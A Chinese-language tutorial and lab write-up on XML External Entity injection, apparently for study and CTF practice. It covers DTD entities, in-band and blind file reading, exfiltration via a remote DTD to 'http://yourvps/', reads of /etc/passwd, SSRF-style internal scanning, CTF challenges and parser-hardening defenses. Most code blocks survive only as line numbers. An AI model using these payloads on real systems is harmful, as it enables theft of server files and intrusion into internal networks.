XXE:XML External Entity 即外部实体,从安全角度理解成XML External Entity attack 外部实体注入攻击(那为啥不叫XEE)。对于 XXE 想要真正的了解它,就需要先来了解一下XML是什么。
XML(Extensible Markup Language)英文直译就是可扩展标记语言,“标记” 是指计算机所能理解的信息符号,通过此种标记,计算机之间可以处理包含各种信息的文章等。
如果把 HTML 和 XML 进行对比的话, HTML 旨在显示数据信息,而 XML 旨在传输数据信息。(说到传输数据自然而然肯定会想到json格式,相比XML,现在用的更多是json格式来传输数据)
1 |
|
在上面代码中的第一行,定义XML的版本与编码。
在XML文档中,所有的元素都必须正确的嵌套,形成树形结构。并且整个XML文档中必须要有一个根元素。如上代码,<note>
是整个文档的根元素。嵌套在note标签中的<to>
和<from>
则是根的子元素。
同时,所有的XML元素都必须有关闭标签,这点不像html语法那样松散。如果缺失关闭标签,则会导致XML解析失败。
所有的XML文档都由五种简单的构建模块(元素,属性,实体,PCDATA CDATA)构成。这里着重介绍一下实体:实体是用于定义引用普通文本或特殊字符的快捷方式的变量,实体引用是对实体的引用。实体可在内部或外部进行声明。因此我们利用引入实体,构造恶意内容,从而达到攻击的目的。
实体总共有四种,分别是:
内置实体 (Built-in entities)
字符实体 (Character entities)
通用实体 (General entities)
参数实体 (Parameter entities)
其中内置实体和字符实体都和 HTML 的实体编码类似,但如果从另一个角度看,实体完全可以分成两个派别:通用实体和参数实体。
XML的语言规范是由DTD(Document Type Definition)来控制,类似编程语言的语法,它定义了XML文档的合法构建模块,即声明了XML的内容格式规范。
DTD 的声明方式分为两种:内部 DTD 和外部 DTD ,其区别就在于:对 XML 文档中的元素、属性和实体的 DTD 的声明是在 XML 文档内部引用还是引用外部的 dtd 文件。
下面是一个内部DTD的XML示例:
1 | <!--XML声明--> |
上面第7行定义了一个内部实体,第11行中对上面定义的writer实体进行了引用,到时候输出的时候&writer就会被"hello world"替换。
1 | <!ENTITY 实体名称 "实体的值"> |
一个实体由三部分构成:&符号, 实体名称, 分号 (😉,这里&不论在GET还是在POST中都需要进行URL编码,因为是使用参数传入xml的,&符号会被认为是参数间的连接符号
下面再来看看一个外部DTD的XML示例:
1 | <?xml version="1.0" encoding="UTF-8"?> |
通过第 4 行的定义, 第 7 行的 &xxe 就会对 c:/test.dtd 文件资源进行 SYSTEM 关键字的引用,这样对引用资源所做的任何更改都会在文档中自动更新。
另外除了上面 SYSTEM 关键字的引用方式,还有一种引用方式是使用 PUBLIC 引用公用 DTD 的方式,语法如下:
1 | <!DOCTYPE 根元素名称 PUBLIC “DTD标识名” “公用DTD的URI”> |
这个在我们的攻击中也可以起到和 SYSTEM 一样的作用,但实际上实体远不止这一种,我们以上涉及的实体只是其中的一种,被称为通用实体。
1 | <!ENTITY % an-element "<!ELEMENT mytag (subtag)>"> |
在上面的代码示例中,可以看到实体名前多了一个 “%” ,在参数实体中使用 “% 实体名” (这里面的空格不能少) 定义,并且只能在 DTD 中使用 “% 实体名” 引用。
另外和通用实体一样,参数实体也可以外部引用,同时只有在 DTD 文件中,参数实体的声明才能引用其他实体。
下面是一个普通的XML注入例子:
1 | # 注入前XML代码 |
当用户输入一些恶意代码,比如User1</USER><USER role="admin">User2
,原XML代码就变成了下面的样子:
1 | # 注入后XML代码 |
可以看到通过XML语句的前后拼接, XML代码被插入了进去。
对普通的 XML 注入,利用面比较狭窄,现实中也是比较鸡肋的存在,因此几乎用不到,如果有的话应该也是逻辑漏洞,下面就重点介绍XXE的利用。
实验环境
目标靶机:
IP:192.168.0.104
环境:Win7+phpStudy+apache+php
本地主机:
IP:192.168.0.108
环境:Win10+phpStudy+apache+BurpSuite+Python3
目标靶机:xxe_test.php
1 |
|
在C盘下新建一个flag.txt,内容我设置成了XXE Payload Executed Successfully!!!
。
本地主机:payload
1 |
|
如果flag.txt中包含特殊符号,比如<>&"'
等,例如:
1 | <XXE Payload Executed Successfully!!!> |
可以看到当被读取文件中含有特殊符号时,返回了一堆错误,这个时候就需要使用CDATA了。(当然,更简单的使用base64编码)
什么是CDATA:
CDATA,意为character data,是标记语言SGML与XML,表示文档的特定部分是普通的字符数据,而不是非字符数据或有特定、限定结构的字符数据。在XML文档或外部实体中,一个CDATA section是一段按字面解释的内容,不作为标记文本。字符用CDATA节表示或者按照标准语法表示,并无差异。
CDATA 部分由
"<![CDATA["
开始,由"]]>"
结束
简单一点的来说,将脚本代码定义为CDATA后,CDATA部分中的内容就会被解析器忽略,这个时候就可以读取文件了。
本地主机:CDATA Payload
1 | <?xml version="1.0" encoding="utf-8"?> |
本地主机:evil.dtd
1 | <?xml version="1.0" encoding="UTF-8"?> |
利用带有CDATA的Payload,可以看到特殊符号被成功绕过。
但是在真实情况下,服务器上的XML一般用于配置文件或者传输数据,而不是显示数据,因此在现实环境下利用这个漏洞就需要找到不依靠回显的方法。
目标靶机:xxe_blind_test.php
1 |
|
本地主机:Payload
1 | <!DOCTYPE convert [ |
本地主机:evil.dtd
1 | <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///c:/flag.txt"> |
结果如下:
看到服务器端接收到了我们用 base64 编码后的敏感文件信息(编码也是为了不破坏原本的XML语法,不编码会报错)。
目标靶机的网络出了点问题,IP地址换成了192.168.50.130
现在我们再来回顾一下Payload的调用过程:
连续调用了三个参数实体 %remote;%int;%send;
,这就是我们的利用顺序,%remote 先调用,调用后请求远程服务器上的 evil.dtd ,有点类似于将 evil.dtd 包含进来,然后 %int 调用 evil.dtd 中的 %file, %file 就会去获取服务器上面的敏感文件,然后将 %file 的结果填入到 %send 以后(因为实体的值中不能有 %, 所以将其转成html实体编码 %
),我们再调用 %send; 把我们的读取到的数据发送到我们的远程服务器上,这样就实现了外带数据的效果,解决了 XXE 无回显的问题。
1 | <?xml version="1.0" encoding="utf-8"?> |
在我的vps的xxe.xml的内容如下:
1 | <!ENTITY % all "<!ENTITY send SYSTEM 'http://yourvps/%file;'>"> |
而测试文件TEST.txt内容为:
1 | chybeta |
整个的调用过程如下:解析时%dtd
引入xxe.xml,之后%all
引入send
的定义,最后引用了实体send,把%file
文件内容通过一个http请求发了出去。注意需要把payload经过url编码。查看vps上的access.log:
若要读取php等文件,同样需要先经过base64加密下。
1 | <?xml version="1.0" encoding="utf-8"?> |
我们刚刚都只是做了一件事,那就是通过 file 协议读取本地文件,或者是通过 http 协议发出请求,熟悉 SSRF 的童鞋应该很快反应过来,这其实非常类似于 SSRF ,因为他们都能从服务器向另一台服务器发起请求,那么我们如果将远程服务器的地址换成某个内网的地址,(比如 192.168.0.10:8080)是不是也能实现 SSRF 同样的效果呢?没错,XXE 其实也是一种 SSRF 的攻击手法,因为 SSRF 其实只是一种攻击模式,利用这种攻击模式我们能使用很多的协议以及漏洞进行攻击。
所以要想更进一步的利用我们不能将眼光局限于 file 协议,我们必须清楚地知道在何种平台,我们能用何种协议:
1 | import requests |
注意替换一下IP地址的网段。这个脚本跑的确实很慢,结果如下:
1 | [+] 192.168.50.1 Successfully Found !!! |
找到了内网的主机,还需要对其端口进行扫描,原理和上面一致,只不过IP固定,遍历端口,我们先用Burp Suite看一下端口开放和关闭的response有什么不同:
如果端口是关闭的,一般都会返回Connection refuse。
下面放出Payload。
1 | import requests |
笔者测试发现不同的环境,结果可能会不一样,因此可能需要不同的payload进行端口扫描,这个需要具体结合代码和测试结果来敲定一个有效的payload。
1 | <?xml version="1.0" encoding="UTF-8"?> |
如果页面输出了test1,则可以解析XML。
第二步查看是否支持DTD引用外部实体:
1 | <?xml version=”1.0” encoding=”UTF-8”?> |
然后在我的服务器上查看日志,如果有目标服务器向我的服务器发送了一条index.html的请求,说明
支持引用外部实体,很有可能存在xxe漏洞。
当有回显时,利用file://协议:
1 | <?xml version="1.0" encoding="UTF-8"?> |
当无回显,使用http协议:
1 | <?xml version="1.0" encoding="UTF-8"?> |
然后在myhost监听1234端口(dnslog地址也可以),查看是否有http请求。
很多Web与App应用都是基于客户端-服务器交互的Web通信服务,最常见的数据格式就是Json与XML,尽管web服务可能只使用一种格式,但是服务器却可以接收开发人员没有料到的其他数据格式,有可能导致Json节点受到XXE攻击。
测试方法很简单,就是将Content-Type: application/json
修改为Content-Type: application/xml
,数据格式不变,查看是否报错:
{"errors":{"errorMessage":"org.xml.sax.SAXParseException: XML document structures must start and end within the same entity."}}
可以发现服务器是可以处理xml数据的,于是我们利用这个来进行攻击。
payload:
1 | ... |
查看是否可以读取敏感文件。
利用ftp协议获取服务器信息/内网ip之类的技巧:
在攻击者服务器上运行rb脚本(模拟FTP服务器:https://github.com/ONsec-Lab/scripts/blob/master/xxe-ftp-server.rb),监听8080端口。
然后在web程序那里输入payload:
1 | <?xml version="1.0"?> |
ext.dtd
1 | <!ENTITY % b SYSTEM "file:///etc/passwd"> |
然后在模拟的FTP服务器上就会收到一些服务器信息/文件内容
技巧来自:http://lab.onsec.ru/2014/06/xxe-oob-exploitation-at-java-17.html
1 | <!DOCTYPE :. SYTEM "http://" |
1、使用开发语言提供的禁用外部实体的方法
php:
1 | libxml_disable_entity_loader(true); |
java:
1 | DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance(); |
Python:
1 | from lxml import etree |
2、过滤用户提交的XML数据
过滤关键字:<\!DOCTYPE
和<\!ENTITY
,或者SYSTEM
和PUBLIC
。
3、不允许XML中含有自己定义的DTD
题目地址:http://web.jarvisoj.com:9882/
题目描述:请设法获得目标机器/home/ctf/flag.txt中的flag值。
题目地址:https://buuoj.cn/challenges
题目说明:
1 | ==Difficulty: easy== |
exp:
1 | import requests |
使用utf-16编码绕过WAF上传xml文件读取flag
1 |
|
utf-16编码
上传
https://www.freebuf.com/vuls/207639.html
无法引用外部DTD文件的前提下,无回显利用XXE注入:
1 | <?xml version="1.0"?> |
1 | <?xml version="1.0"?> |
xxe injector tool:https://github.com/enjoiz/XXEinjector
XXE payload list:https://github.com/payloadbox/xxe-injection-payload-list